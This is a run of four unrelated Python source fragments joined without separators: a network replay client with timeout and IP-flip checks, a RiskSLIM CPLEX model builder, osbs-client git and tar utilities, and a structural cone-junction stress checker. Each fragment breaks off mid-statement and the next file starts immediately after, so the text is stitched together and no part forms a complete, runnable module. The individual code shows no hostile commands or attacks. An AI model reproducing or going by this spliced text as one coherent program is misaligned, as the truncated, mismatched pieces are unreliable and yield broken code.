actQ.get(timeout=0.1) latestActivity = time.time() except: inactiveTime = time.time() - latestActivity if inactiveTime > maxIdleTime: exitCode = 1 break try: data = errQ.get(block=False) if data[0] == 'ipFlip': exitCode = 2 flippedIP = data[1] dstInstance = data[2] break except Queue.Empty: pass if exitCode == 1: replayResult = 'Timeout' print '\n\n*****Too much idle time! Killing the replay {}*****\n\n'.format(inactiveTime) self.send_object('timeout') elif exitCode == 2: print '\n\n*****IP flipping detected (sideChannel: {}, flipped:{}, destination: {})*****\n\n'.format(self.publicIP, flippedIP, dstInstance) self.send_object('ipFlip') if Configs().get('doTCPDUMP'): replayObj.dump.stop() if exitCode != 0: os._exit(exitCode) def sendIperf(self): iperfRate = None if Configs().get('iperf'): self.send_object('WillSendIperf') command = ['iperf', '-c', Configs().get('serverInstanceIP')] if Configs().get('multipleInterface') is True: command += ['-B', Configs().get('publicIP')] iperfRes = subprocess.check_output(command) iperfRate = ' '.join(iperfRes.strip().rpartition('\n')[2].strip().split()[-2:]) PRINT_ACTION('result: '+iperfRate, 1, action=False) self.send_object(iperfRate) else: PRINT_ACTION('No iperf', 1, action=False) self.send_object('NoIperf') def sendMobileStats(self, mobileStats): if mobileStats is None: self.send_object('NoMobileStats') else: self.send_object('WillSendMobileStats') self.send_object(mobileStats) def identify(self, replayName, endOfTest, extraString='extraString', realIP = '127.0.0.1', size=10): extraString = extraString.replace('_', '-') permaData = PermaData() self.id = permaData.id self.historyCount = permaData.historyCount # Added default client realIP to be '127.0.0.1', the client needs to find out whether it is behind a proxy # and what is the proxy IP that used to communicate with server, and send it as the realIP attribute to server self.send_object(';'.join([self.id, Configs().get('testID'), replayName, str(extraString), str(self.historyCount), str(endOfTest), realIP, '1.0'])) if Configs().get('byExternal') is False: permaData.updateHistoryCount() def ask4Permision(self): return self.receive_object().split(';') def notifier(self, udpSenderCount): ''' Listens for incoming updates regarding server's UDP senders: - STARTED: id telling server it started sending to a port - DONE: id telling server it's done sending to a port It only stops when the Sender thread is done (so no new server sender will be triggered) and no server UDP sender is still sending (i.e., inProcess == 0) ''' inProcess = 0 total = 0 while True: r, w, e = select.select([self.sock], [], [], 0.1) if r: data = self.receive_object().split(';') if data[0] == 'STARTED': inProcess += 1 total += 1 elif data[0] == 'DONE': inProcess -= 1 else: print 'WTF???' sys.exit() if self.doneSending is True: if inProcess == 0: PRINT_ACTION('Done notifier! ({}/{})'.format(total, udpSenderCount), 1, action=False) break def receive_server_port_mapping(self): data = self.receive_object() if not data: return False mapping = json.loads(data) #convert lists to tuples (json serialization does not preserve tuples) for protocol in mapping: for ip in mapping[protocol]: for port in mapping[protocol][ip]: mapping[protocol][ip][port] = tuple(mapping[protocol][ip][port]) return mapping def receive_sender_count(self): data = self.receive_object() if not data: return False return int(data) def sendDone(self, duration): self.send_object('DONE;'+duration) def send_jitter(self, id, sent_jitter, rcvd_jitter, jitter=False): ''' It's important to wait for server's confirmation. In poor networks, it might take long for jitter data to reach the server, and if we don't wait for confirmation, client will quit before the server does, and can result in permission deny by server when doing back2back replays. ''' # if not jitter: # PRINT_ACTION('NoJitter', 1, action=False) # self.send_object(';'.join(['NoJitter',
from math import ceil, floor import numpy as np from cplex import Cplex, SparsePair, infinity as CPX_INFINITY from .coefficient_set import CoefficientSet from .utils import print_log #todo: add loss cut #todo: add constraint function #todo: default cplex parameters #todo: check cores #todo: pass compute_loss to convert_risk_slim_cplex_solution def create_risk_slim(coef_set, input): """ create RiskSLIM MIP object Parameters ---------- input - dictionary of RiskSLIM parameters and formulation Returns ------- mip - RiskSLIM surrogate MIP without 0 cuts Issues ---- no support for non-integer Lset "values" only drops intercept index for variable_names that match '(Intercept)' """ assert isinstance(coef_set, CoefficientSet) assert isinstance(input, dict) # setup printing and loading function_print_flag = input.get('print_flag', False) print_from_function = lambda msg: print_log(msg) if function_print_flag else lambda msg: None # set default parameters input.setdefault('w_pos', 1.0) input.setdefault('w_neg', 2.0 - input['w_pos']) input.setdefault('C_0', 0.01) input.setdefault('include_auxillary_variable_for_objval', True) input.setdefault('include_auxillary_variable_for_L0_norm', True) input.setdefault('loss_min', 0.00) input.setdefault('loss_max', float(CPX_INFINITY)) input.setdefault('L0_min', 0) input.setdefault('L0_max', len(coef_set)) input.setdefault('objval_min', 0.00) input.setdefault('objval_max', float(CPX_INFINITY)) input.setdefault('relax_integer_variables', False) input.setdefault('drop_variables', True) input.setdefault('tight_formulation', False) input.setdefault('set_cplex_cutoffs', True) # variables P = len(coef_set) w_pos, w_neg = input['w_pos'], input['w_neg'] C_0j = np.copy(coef_set.c0) L0_reg_ind = np.isnan(C_0j) C_0j[L0_reg_ind] = input['C_0'] C_0j = C_0j.tolist() C_0_rho = np.copy(C_0j) trivial_L0_min = 0 trivial_L0_max = np.sum(L0_reg_ind) rho_ub = list(coef_set.ub) rho_lb = list(coef_set.lb) rho_type = ''.join(list(coef_set.vtype)) # calculate min/max values for loss loss_min = max(0.0, float(input['loss_min'])) loss_max = min(CPX_INFINITY, float(input['loss_max'])) # calculate min/max values for model size L0_min = max(input['L0_min'], 0.0) L0_max = min(input['L0_max'], trivial_L0_max) L0_min = ceil(L0_min) L0_max = floor(L0_max) assert L0_min <= L0_max # calculate min/max values for objval objval_min = max(input['objval_min'], 0.0) objval_max = min(input['objval_max'], CPX_INFINITY) assert objval_min <= objval_max # include constraint on min/max model size? nontrivial_L0_min = L0_min > trivial_L0_min nontrivial_L0_max = L0_max < trivial_L0_max include_auxillary_variable_for_L0_norm = input['include_auxillary_variable_for_L0_norm'] or \ nontrivial_L0_min or \ nontrivial_L0_max # include constraint on min/max objective value? nontrivial_objval_min = objval_min > 0.0 nontrivial_objval_max = objval_max < CPX_INFINITY include_auxillary_variable_for_objval = input['include_auxillary_variable_for_objval'] or \ nontrivial_objval_min or \ nontrivial_objval_max has_intercept = '(Intercept)' in coef_set.variable_names """ RiskSLIM MIP Formulation minimize w_pos*loss_pos + w_neg *loss_minus + 0*rho_j + C_0j*alpha_j such that L0_min ≤ L0 ≤ L0_max -rho_min * alpha_j < lambda_j < rho_max * alpha_j L_0 in 0 to P rho_j in [rho_min_j, rho_max_j] alpha_j in {0,1} x = [loss_pos, loss_neg, rho_j, alpha_j] optional constraints: objval = w_pos * loss_pos + w_neg * loss_min + sum(C_0j * alpha_j) (required for callback) L0_norm = sum(alpha_j) (required for callback) Changes for Tight Formulation (included when input['tight_formulation'] = True): sigma_j in {0,1} for j s.t. lambda_j has free sign and alpha_j exists lambda_j ≥ delta_pos_j if alpha_j = 1 and sigma_j = 1 lambda_j ≥ -delta_neg_j if alpha_j = 1 and sigma_j = 0 lambda_j ≥ alpha_j for j such that lambda_j >= 0 lambda_j ≤ -alpha_j for j such that lambda_j <= 0 """ # create MIP object mip = Cplex() vars = mip.variables cons = mip.linear_constraints # set sense mip.objective.set_sense(mip.objective.sense.minimize) # add main variables loss_obj = [w_pos] loss_ub = [loss_max] loss_lb = [loss_min] loss_type = 'C' loss_names = ['loss'] obj = loss_obj + [0.0] * P + C_0j ub = loss_ub + rho_ub + [1.0] * P lb = loss_lb + rho_lb + [0.0] * P ctype = loss_type + rho_type + 'B' * P rho_names = ['rho_%d' % j for j in range(P)] alpha_names = ['alpha_%d' % j for j in range(P)] varnames = loss_names + rho_names + alpha_names if include_auxillary_variable_for_objval: objval_auxillary_name = ['objval'] objval_auxillary_ub = [objval_max] objval_auxillary_lb = [objval_min] objval_type = 'C' print_from_function("adding auxiliary variable for objval s.t. %1.4f <= objval <= %1.4f" % (objval_min, objval_max)) obj += [0.0] ub += objval_auxillary_ub lb += objval_auxillary_lb varnames += objval_auxillary_name ctype += objval_type if include_auxillary_variable_for_L0_norm: L0_norm_auxillary_name = ['L0_norm'] L0_norm_auxillary_ub = [L0_max] L0_norm_auxillary_lb = [L0_min] L0_norm_type = 'I' print_from_function("adding auxiliary variable for L0_norm s.t. %d <= L0_norm <= %d" % (L0_min, L0_max)) obj += [0.0] ub += L0_norm_auxillary_ub lb += L0_norm_auxillary_lb varnames += L0_norm_auxillary_name ctype += L0_norm_type if input['relax_integer_variables']: ctype = ctype.replace('I', 'C') ctype = ctype.replace('B', 'C') vars.add(obj = obj, lb = lb, ub = ub, types = ctype, names = varnames) # 0-Norm LB Constraints: # lambda_j,lb * alpha_j ≤ lambda_j <= Inf # 0 ≤ lambda_j - lambda_j,lb * alpha_j < Inf for j in range(P): cons.add(names = ["L0_norm_lb_" + str(j)], lin_expr = [SparsePair(ind=[rho_names[j], alpha_names[j]], val=[1.0, -rho_lb[j]])], senses = "G", rhs = [0.0]) # 0-Norm UB Constraints: # lambda_j ≤ lambda_j,ub * alpha_j # 0 <= -lambda_j + lambda_j,ub * alpha_j for j in range(P): cons.add(names = ["L0_norm_ub_" + str(j)], lin_expr =[SparsePair(ind=[rho_names[j], alpha_names[j]], val=[-1.0, rho_ub[j]])], senses = "G", rhs = [0.0]) # objval_max constraint # loss_var + sum(C_0j .* alpha_j) <= objval_max if include_auxillary_variable_for_objval: print_from_function("adding constraint so that objective value <= " + str(objval_max)) cons.add(names = ["objval_def"], lin_expr = [SparsePair(ind = objval_auxillary_name + loss_names + alpha_names, val=[-1.0] + loss_obj + C_0j)], senses = "E", rhs = [0.0]) # Auxiliary L0_norm variable definition: # L0_norm = sum(alpha_j) # L0_norm - sum(alpha_j) = 0 if include_auxillary_variable_for_L0_norm: cons.add(names = ["L0_norm_def"], lin_expr = [SparsePair(ind = L0_norm_auxillary_name + alpha_names, val = [1.0] + [-1.0] * P)], senses = "E", rhs = [0.0]) # drop L0_norm_lb constraint for any variable with rho_lb >= 0 dropped_variables = [] constraints_to_drop = [] # drop alpha / L0_norm_ub / L0_norm_lb for ('Intercept') if input['drop_variables']: # drop L0_norm_ub/lb constraint for any variable with rho_ub/rho_lb >= 0 sign_pos_ind = np.flatnonzero(coef_set.sign > 0) sign_neg_ind = np.flatnonzero(coef_set.sign < 0) constraints_to_drop.extend(["L0_norm_lb_" + str(j) for j in sign_pos_ind]) constraints_to_drop.extend(["L0_norm_ub_" + str(j) for j in sign_neg_ind]) # drop alpha for any variable where rho_ub = rho_lb = 0 fixed_value_ind = np.flatnonzero(coef_set.ub == coef_set.lb) variables_to_drop = ["alpha_" + str(j) for j in fixed_value_ind] vars.delete(variables_to_drop) dropped_variables += variables_to_drop alpha_names = [alpha_names[j] for j in range(P) if alpha_names[j] not in dropped_variables] if has_intercept: intercept_idx = coef_set.variable_names.index('(Intercept)') intercept_alpha_name = 'alpha_' + str(intercept_idx) vars.delete([intercept_alpha_name]) alpha_names.remove(intercept_alpha_name) dropped_variables.append(intercept_alpha_name) print_from_function("dropped L0 indicator for '(Intercept)'") constraints_to_drop.extend(["L0_norm_ub_" + str(intercept_idx), "L0_norm_lb_" + str(intercept_idx)]) if len(constraints_to_drop) > 0: constraints_to_drop = list(set(constraints_to_drop)) cons.delete(constraints_to_drop) # indices indices = { 'n_variables': vars.get_num(), 'n_constraints': cons.get_num(), 'names': vars.get_names(), 'loss_names': loss_names, 'rho_names': rho_names, 'alpha_names': alpha_names, 'loss': vars.get_indices(loss_names), 'rho': vars.get_indices(rho_names), 'alpha': vars.get_indices(alpha_names), 'L0_reg_ind': L0_reg_ind, 'C_0_rho': C_0_rho, 'C_0_alpha': mip.objective.get_linear(alpha_names) if len(alpha_names) > 0 else [], } if include_auxillary_variable_for_objval: indices.update({ 'objval_name': objval_auxillary_name, 'objval': vars.get_indices(objval_auxillary_name)[0], }) if include_auxillary_variable_for_L0_norm: indices.update({ 'L0_norm_name': L0_norm_auxillary_name, 'L0_norm': vars.get_indices(L0_norm_auxillary_name)[0], }) # officially change the problem to LP if variables are relaxed if input['relax_integer_variables']: old_problem_type = mip.problem_type[mip.get_problem_type()] mip.set_problem_type(mip.problem_type.LP) new_problem_type = mip.problem_type[mip.get_problem_type()] print_from_function("changed problem type from %s to %s" % (old_problem_type, new_problem_type)) if input['set_cplex_cutoffs'] and not input['relax_integer_variables']: mip.parameters.mip.tolerances.lowercutoff.set(objval_min) mip.parameters.mip.tolerances.uppercutoff.set(objval_max) return mip, indices def set_cplex_mip_parameters(cpx, param, display_cplex_progress = False): """ Helper function to set CPLEX parameters of CPLEX MIP object Parameters ---------- mip param display_cplex_progress Returns ------- MIP with parameters """ p = cpx.parameters p.randomseed.set(param['randomseed']) p.threads.set(param['n_cores']) p.output.clonelog.set(0) p.parallel.set(1) if display_cplex_progress is (None or False): cpx = set_cpx_display_options(cpx, display_mip = False, display_lp = False, display_parameters = False) problem_type = cpx.problem_type[cpx.get_problem_type()] if problem_type == 'MIP': # CPLEX Memory Parameters # MIP.Param.workdir.Cur = exp_workdir; # MIP.Param.workmem.Cur = cplex_workingmem; # MIP.Param.mip.strategy.file.Cur = 2; %nodefile uncompressed # MIP.Param.mip.limits.treememory.Cur = cplex_nodefilesize; # CPLEX MIP Parameters p.emphasis.mip.set(param['mipemphasis']) p.mip.tolerances.mipgap.set(param['mipgap']) p.mip.tolerances.absmipgap.set(param['absmipgap']) p.mip.tolerances.integrality.set(param['integrality_tolerance']) # CPLEX Solution Pool Parameters p.mip.limits.repairtries.set(param['repairtries']) p.mip.pool.capacity.set(param['poolsize']) p.mip.pool.replace.set(param['poolreplace']) # 0 = replace oldest /1: replace worst objective / #2 = replace least diverse solutions return cpx def set_cpx_display_options(cpx, display_mip = True, display_parameters = False, display_lp = False): cpx.parameters.mip.display.set(display_mip) cpx.parameters.simplex.display.set(display_lp) try: cpx.parameters.paramdisplay.set(display_parameters) except AttributeError: pass if not (display_mip or display_lp): cpx.set_results_stream(None) cpx.set_log_stream(None) cpx.set_error_stream(None) cpx.set_warning_stream(None) return cpx def add_mip_starts(mip, indices, pool, max_mip_starts = float('inf'), mip_start_effort_level = 4): """ Parameters ---------- mip - RiskSLIM surrogate MIP indices - indices of RiskSLIM surrogate MIP pool - solution pool max_mip_starts - max number of mip starts to add (optional; default is add all) mip_start_effort_level - effort that CPLEX will spend trying to fix (optional; default is 4) Returns ------- """ # todo remove suboptimal using pool filter assert isinstance(mip, Cplex) try: obj_cutoff = mip.parameters.mip.tolerances.uppercutoff.get() except: obj_cutoff = float('inf') pool = pool.distinct().sort() n_added = 0 for objval, rho in zip(pool.objvals, pool.solutions): if np.less_equal(objval, obj_cutoff): mip_start_name = "mip_start_"
<filename>osbs/utils/__init__.py """ Copyright (c) 2015 Red Hat, Inc All rights reserved. This software may be modified and distributed under the terms of the BSD license. See the LICENSE file for details. """ from __future__ import print_function, absolute_import, unicode_literals from functools import wraps import contextlib import copy import logging import os import os.path import re import shutil import string import subprocess import sys import tempfile import tarfile import time import requests from collections import namedtuple from datetime import datetime from io import BytesIO from hashlib import sha256 from osbs.repo_utils import RepoConfiguration, RepoInfo, AdditionalTagsConfig from osbs.constants import (OS_CONFLICT_MAX_RETRIES, OS_CONFLICT_WAIT, GIT_MAX_RETRIES, GIT_BACKOFF_FACTOR, GIT_FETCH_RETRY, OS_NOT_FOUND_MAX_RETRIES, OS_NOT_FOUND_MAX_WAIT) # This was moved to a separate file - import here for external API compatibility from osbs.utils.labels import Labels # noqa: F401 from six.moves import http_client from six.moves.urllib.parse import urlparse try: # py3 if not hasattr(datetime.now(), 'timestamp'): raise ImportError import dateutil.parser except ImportError: # py2 workaround in get_time_from_rfc3339() below from time import strptime from calendar import timegm from dockerfile_parse import DockerfileParser from osbs.exceptions import (OsbsException, OsbsResponseException, OsbsValidationException, OsbsCommitNotFound) logger = logging.getLogger(__name__) ClonedRepoData = namedtuple('ClonedRepoData', ['repo_path', 'commit_id', 'commit_depth']) class RegistryURI(object): # Group 0: URI without path -- allowing empty value -- including: # - Group 1: optional 'http://' / 'https://' # - Group 2: hostname and port # Group 3: path, including: # - Group 4: optional API version, 'v' followed by a number versionre = re.compile(r'((https?://)?([^/]*))(/(v\d+)?)?$') def __init__(self, uri): match = self.versionre.match(uri) if not match: raise ValueError('Invalid registry URI {}'.format(uri)) groups = match.groups() self.docker_uri = groups[2] self.version = groups[4] or 'v2' self.scheme = groups[1] or '' if self.version == 'v1': raise OsbsValidationException('Invalid API version requested in {}'.format(uri)) @property def uri(self): return self.scheme + self.docker_uri def __repr__(self): return self.uri class TarWriter(object): def __init__(self, outfile, directory=None): mode = "w|bz2" if hasattr(outfile, "write"): self.tarfile = tarfile.open(fileobj=outfile, mode=mode) else: self.tarfile = tarfile.open(name=outfile, mode=mode) self.directory = directory or "" def __enter__(self): return self def __exit__(self, typ, val, tb): self.tarfile.close() def write_file(self, name, content): buf = BytesIO(content) arcname = os.path.join(self.directory, name) ti = tarfile.TarInfo(arcname) ti.size = len(content) self.tarfile.addfile(ti, fileobj=buf) class TarReader(object): TarFile = namedtuple('TarFile', ['filename', 'fileobj']) def __init__(self, infile): mode = "r|bz2" if hasattr(infile, "read"): self.tarfile = tarfile.open(fileobj=infile, mode=mode) else: self.tarfile = tarfile.open(name=infile, mode=mode) def __iter__(self): return self def __next__(self): ti = self.tarfile.next() # pylint: disable=next-method-called if ti is None: self.close() raise StopIteration() return self.TarFile(ti.name, self.tarfile.extractfile(ti)) next = __next__ # py2 compatibility def close(self): self.tarfile.close() def graceful_chain_get(d, *args): if not d: return None t = copy.deepcopy(d) for arg in args: try: t = t[arg] except (IndexError, KeyError): return None return t def graceful_chain_del(d, *args): if not d: return for arg in args[:-1]: try: d = d[arg] except (IndexError, KeyError): return try: del d[args[-1]] except (IndexError, KeyError): pass def has_triggers(build_config): return graceful_chain_get(build_config, 'spec', 'triggers') is not None def clean_triggers(orig, new): if not has_triggers(new) and has_triggers(orig): orig['spec']['triggers'] = [t for t in orig['spec']['triggers'] if t.get('type', None) != 'ImageChange'] def buildconfig_update(orig, new, remove_nonexistent_keys=False): """Performs update of given `orig` BuildConfig with values from `new` BuildConfig. Both BuildConfigs have to be represented as `dict`s. This function: - adds all key/value pairs to `orig` from `new` that are missing - replaces values in `orig` for keys that are in both - removes key/value pairs from `orig` for keys that are not in `new`, but only in dicts nested inside `strategy` key (see https://github.com/containerbuildsystem/osbs-client/pull/273#issuecomment-148038314) """ if isinstance(orig, dict) and isinstance(new, dict): clean_triggers(orig, new) if remove_nonexistent_keys: missing = set(orig.keys()) - set(new.keys()) for k in missing: orig.pop(k) for k, v in new.items(): if k == 'strategy': remove_nonexistent_keys = True if isinstance(orig.get(k), dict) and isinstance(v, dict): buildconfig_update(orig[k], v, remove_nonexistent_keys) else: orig[k] = v @contextlib.contextmanager def checkout_git_repo(git_url, target_dir=None, commit=None, retry_times=GIT_MAX_RETRIES, branch=None, depth=None): """ clone provided git repo to target_dir, optionally checkout provided commit yield the ClonedRepoData and delete the repo when finished :param git_url: str, git repo to clone :param target_dir: str, filesystem path where the repo should be cloned :param commit: str, commit to checkout, SHA-1 or ref :param retry_times: int, number of retries for git clone :param branch: str, optional branch of the commit, required if depth is provided :param depth: int, optional expected depth :return: str, int, commit ID of HEAD """ tmpdir = tempfile.mkdtemp() target_dir = target_dir or os.path.join(tmpdir, "repo") try: yield clone_git_repo(git_url, target_dir, commit, retry_times, branch, depth) finally: shutil.rmtree(tmpdir) def clone_git_repo(git_url, target_dir=None, commit=None, retry_times=GIT_MAX_RETRIES, branch=None, depth=None): """ clone provided git repo to target_dir, optionally checkout provided commit :param git_url: str, git repo to clone :param target_dir: str, filesystem path where the repo should be cloned :param commit: str, commit to checkout, SHA-1 or ref :param retry_times: int, number of retries for git clone :param branch: str, optional branch of the commit, required if depth is provided :param depth: int, optional expected depth :return: str, int, commit ID of HEAD """ retry_delay = GIT_BACKOFF_FACTOR target_dir = target_dir or os.path.join(tempfile.mkdtemp(), "repo") commit = commit or "master" logger.info("cloning git repo '%s'", git_url) logger.debug("url = '%s', dir = '%s', commit = '%s'", git_url, target_dir, commit) cmd = ["git", "clone"] if branch: cmd += ["-b", branch, "--single-branch"] if depth: cmd += ["--depth", str(depth)] elif depth: logger.warning("branch not provided for %s, depth setting ignored", git_url) depth = None cmd += [git_url, target_dir] logger.debug("cloning '%s'", cmd) repo_commit = '' repo_depth = None for counter in range(retry_times + 1): try: # we are using check_output, even though we aren't using # the return value, but we will get 'output' in exception subprocess.check_output(cmd, stderr=subprocess.STDOUT) try: repo_commit, repo_depth = reset_git_repo(target_dir, commit, depth) except OsbsCommitNotFound as exc: raise OsbsCommitNotFound("Commit {} is not reachable in branch {}, reason: {}" .format(commit, branch, exc)) break except subprocess.CalledProcessError as exc: if counter != retry_times: logger.info("retrying command '%s':\n '%s'", cmd, exc.output) time.sleep(retry_delay * (2 ** counter)) else: raise OsbsException("Unable to clone git repo '%s' " "branch '%s'" % (git_url, branch), cause=exc, traceback=sys.exc_info()[2]) return ClonedRepoData(target_dir, repo_commit, repo_depth) def reset_git_repo(target_dir, git_reference, retry_depth=None): """ hard reset git clone in target_dir to given git_reference :param target_dir: str, filesystem path where the repo is cloned :param git_reference: str, any valid git reference :param retry_depth: int, if the repo was cloned with --shallow, this is the expected depth of the commit :return: str and int, commit ID of HEAD and commit depth of git_reference """ deepen = retry_depth or 0 base_commit_depth = 0 for _ in range(GIT_FETCH_RETRY): try: if not deepen: cmd = ['git', 'rev-list', '--count', git_reference] base_commit_depth = int(subprocess.check_output(cmd, cwd=target_dir)) - 1 cmd = ["git", "reset", "--hard", git_reference] logger.debug("Resetting current HEAD: '%s'", cmd) subprocess.check_call(cmd, cwd=target_dir) break except subprocess.CalledProcessError: if not deepen: raise OsbsCommitNotFound('cannot find commit {} in repo {}'.format( git_reference, target_dir)) deepen *= 2 cmd = ["git", "fetch", "--depth", str(deepen)] subprocess.check_call(cmd, cwd=target_dir) logger.debug("Couldn't find commit %s, increasing depth with '%s'", git_reference, cmd) else: raise OsbsCommitNotFound('cannot find commit {} in repo {}'.format( git_reference, target_dir)) cmd = ["git", "rev-parse", "HEAD"] logger.debug("getting SHA-1 of provided ref '%s'", git_reference) commit_id = subprocess.check_output(cmd, cwd=target_dir, universal_newlines=True) commit_id = commit_id.strip() logger.info("commit ID = %s", commit_id) final_commit_depth = None if not deepen: cmd = ['git', 'rev-list', '--count', 'HEAD'] final_commit_depth = int(subprocess.check_output(cmd, cwd=target_dir)) - base_commit_depth return commit_id, final_commit_depth @contextlib.contextmanager def paused_builds(osbs, quota_name=None, ignore_quota_errors=False): try: logger.info("pausing builds") try: osbs.pause_builds(quota_name=quota_name) except OsbsResponseException as e: if ignore_quota_errors and (e.status_code == requests.codes.FORBIDDEN): logger.warning("Ignoring resourcequota error") else: raise yield osbs finally: logger.info("resuming builds") try: osbs.resume_builds(quota_name=quota_name) except OsbsResponseException as e: if ignore_quota_errors and (e.status_code == requests.codes.FORBIDDEN): logger.warning("Ignoring resourcequota error") else: raise def looks_like_git_hash(git_ref): return all(ch in string.hexdigits for ch in git_ref) and len(git_ref) == 40 def get_repo_info(git_uri, git_ref, git_branch=None, depth=None): with checkout_git_repo(git_uri, commit=git_ref, branch=git_branch, depth=depth) as code_dir_info: code_dir = code_dir_info.repo_path depth = code_dir_info.commit_depth dfp = DockerfileParser(os.path.join(code_dir), cache_content=True) config = RepoConfiguration(git_uri=git_uri, git_ref=git_ref, git_branch=git_branch, dir_path=code_dir, depth=depth) tags_config = AdditionalTagsConfig(dir_path=code_dir, tags=config.container.get('tags', set())) repo_info = RepoInfo(dfp, config, tags_config) return repo_info def git_repo_humanish_part_from_uri(git_uri): git_uri = git_uri.rstrip('/') if git_uri.endswith("/.git"): git_uri = git_uri[:-5] elif git_uri.endswith(".git"): git_uri = git_uri[:-4] return os.path.basename(git_uri) def strip_registry_from_image(image): # this duplicates some logic with atomic_reactor.util.ImageName, # but I don't think it's worth it to depend on AR just for this ret = image parts = image.split('/', 2) if len(parts) == 2: if '.' in parts[0] or ':' in parts[0]: ret = parts[1] elif len(parts) == 3: ret = '%s/%s' % (parts[1], parts[2]) return ret def strip_registry_and_tag_from_image(image): image_with_tag = strip_registry_from_image(image) parts = image_with_tag.split(':') return parts[0] def get_imagestreamtag_from_image(image): """
''' Created on Mar 24, 2011 @author: ATIA1555 ''' import math as m class Cone_Check: ''' classdocs ''' def __init__(self): ''' Constructor ''' self.dmin = 0.0 self.dmax = 0.0 self.h = 0.0 self.tmin = 0.0 self.tmax = 0.0 self.tc = 0.0 self.pmin = 0.0 self.mmin = 0.0 self.pmax = 0.0 self.mmax = 0.0 self.fy_c = 0.0 self.fy_t_min = 0.0 self.fy_t_max = 0.0 self.E = 0.0 self.g = 9.810 self.rho_w = 1.025 self.z = 0.0 self.h = 0.0 self.d = 0.0 self.l = 0.0 self.k = 0.0 self.design_condition = 'O' self.period = 0.0 self.hydro = 'OFF' self.units_mm = 'Y' self.stiff_max = 'N' self.stiff_min = 'N' # self.alpha = 0.0 # # eq_dia: Equivalent Diameter (dmax / cos(alpha) # eq_stress: Equivalent Stress # sat: is the axial stress in the tubular section at the junction due to global # axial forces from factored actions (_min for start and _max for end) # sbt : is the bending stress in the tubular section at the junction due to global # bending moments from factored actions (_min for start and _max for end) # sbjt: is the local bending stress at the tubular side of the junction # sbjc: is the local bending stress at the cone side of the junction # sht : is the hoop stress at the tubular side of the junction # shc : is the hoop stress at the cone side of the junction # fyc : is the local buckling strength of the cone # grc : us the partial resistance factor for axial compression # self.eq_dia = 0.0 self.eq_stress_min = 0.0 self.eq_stress_max = 0.0 self.sat_min = 0.0 self.sbt_min = 0.0 self.sat_max = 0.0 self.sbt_max = 0.0 self.sbjt_min = 0.0 self.sbjt_max = 0.0 self.sht_min = 0.0 self.sht_max = 0.0 self.shc_min = 0.0 self.shc_max = 0.0 self.fyc_min = 0.0 self.fyc_max = 0.0 self.sh_hydro = 0.0 # # section 13.2.3.1, 13.2.2 # self.grc = 1.18 self.grt = 1.05 self.grh = 1.25 self.grb = 1.05 # self.warning = '' self.error = '' # self.um_13_6_10_min = 0.0 self.um_13_6_10_max = 0.0 # self.u = 0.0 self.stiff_max_status = '' self.stiff_min_status = '' # self.info_prepared = 'NO' # self.stf_ht_min = 0.0 self.stf_thk_min = 0.0 self.stf_L1_min = 0.0 self.stf_Lc_min = 0.0 self.stf_ht_max = 0.0 self.stf_thk_max = 0.0 self.stf_L1_max = 0.0 self.stf_Lc_max = 0.0 def reset(self): ''' Constructor ''' self.dmin = 0.0 self.dmax = 0.0 self.h = 0.0 self.tmin = 0.0 self.tmax = 0.0 self.tc = 0.0 self.pmin = 0.0 self.mmin = 0.0 self.pmax = 0.0 self.mmax = 0.0 self.fy_c = 0.0 self.fy_t_min = 0.0 self.fy_t_max = 0.0 self.E = 0.0 self.g = 9.810 self.rho_w = 1.025 self.z = 0.0 self.wh = 0.0 self.d = 0.0 self.l = 0.0 self.k = 0.0 self.period = 0.0 self.hydro = 'OFF' self.stiff_max = 'N' self.stiff_min = 'N' # self.alpha = 0.0 # # eq_dia: Equivalent Diameter (dmax / cos(alpha) # eq_stress: Equivalent Stress # sat: is the axial stress in the tubular section at the junction due to global # axial forces from factored actions (_min for start and _max for end) # sbt : is the bending stress in the tubular section at the junction due to global # bending moments from factored actions (_min for start and _max for end) # sbjt: is the local bending stress at the tubular side of the junction # sbjc: is the local bending stress at the cone side of the junction # sht : is the hoop stress at the tubular side of the junction # shc : is the hoop stress at the cone side of the junction # fyc : is the local buckling strength of the cone # grc : us the partial resistance factor for axial compression # self.eq_dia = 0.0 self.eq_stress_min = 0.0 self.eq_stress_max = 0.0 self.sat_min = 0.0 self.sbt_min = 0.0 self.sat_max = 0.0 self.sbt_max = 0.0 self.sbjt_min = 0.0 self.sbjt_max = 0.0 self.sht_min = 0.0 self.sht_max = 0.0 self.shc_min = 0.0 self.shc_max = 0.0 self.fyc_min = 0.0 self.fyc_max = 0.0 self.sh_hydro = 0.0 # # section 13.2.3.1, 13.2.2 # self.design_condition = 'O' self.grc = 1.18 self.grt = 1.05 self.grh = 1.25 self.grb = 1.05 # self.warning = '' self.error = '' # self.um_13_6_10_min = 0.0 self.um_13_6_10_max = 0.0 # self.u = 0.0 self.stiff_max_status = '' self.stiff_min_status = '' # self.info_prepared = 'NO' # self.stf_ht_min = 0.0 self.stf_thk_min = 0.0 self.stf_L1_min = 0.0 self.stf_Lc_min = 0.0 self.stf_ht_max = 0.0 self.stf_thk_max = 0.0 self.stf_L1_max = 0.0 self.stf_Lc_max = 0.0 def prepare_info(self): # # Get cone slope from geometry # slope = (self.dmax - self.dmin)/ 2.0 / self.h self.alpha = m.atan(slope) # self.area_min = m.pi / 4.0 * (self.dmin**2 - (self.dmin - 2 * self.tmin)**2) self.area_max = m.pi / 4.0 * (self.dmax**2 - (self.dmax - 2 * self.tmax)**2) # self.inertia_min = m.pi / 64.0 * (self.dmin**4 - (self.dmin - 2 * self.tmin)**4) self.inertia_max = m.pi / 64.0 * (self.dmax**4 - (self.dmax - 2 * self.tmax)**4) # self.modulus_min = self.inertia_min / (self.dmin / 2.0) self.modulus_max = self.inertia_max / (self.dmax / 2.0) # self.sat_min = self.pmin / self.area_min self.sat_max = self.pmax / self.area_max # # if self.sat_min < 0.0: self.sbt_min = -1.0 * abs(self.sbt_min) if self.sat_max < 0.0: self.sbt_max = -1.0 * abs(self.sbt_max) ## self.sbt_min = self.mmin / self.modulus_min self.sbt_max = self.mmax / self.modulus_max # self.eq_dia = self.dmax / m.cos(self.alpha) # if self.design_condition == 'E': self.gfg1 = 1.10 else: self.gfg1 = 1.30 # if self.units_mm == 'Y': self.g = 9810.0 self.rho_w = 1.025e-09 else: self.g = 9.810 self.rho_w = 1.025 # self.info_prepared = 'YES' # def equ_stress(self): # # (13.6.2.1) Equivalent Stress # if self.info_prepared != 'YES': self.prepare_info() # print self.info_prepared # # x is the position from the smaller diameter # i.e. position of bigger diameter would be at x = h # sa : is the axial stress at section # sb : is the bending stress at section # # # # (13.6-2) # sa_min = 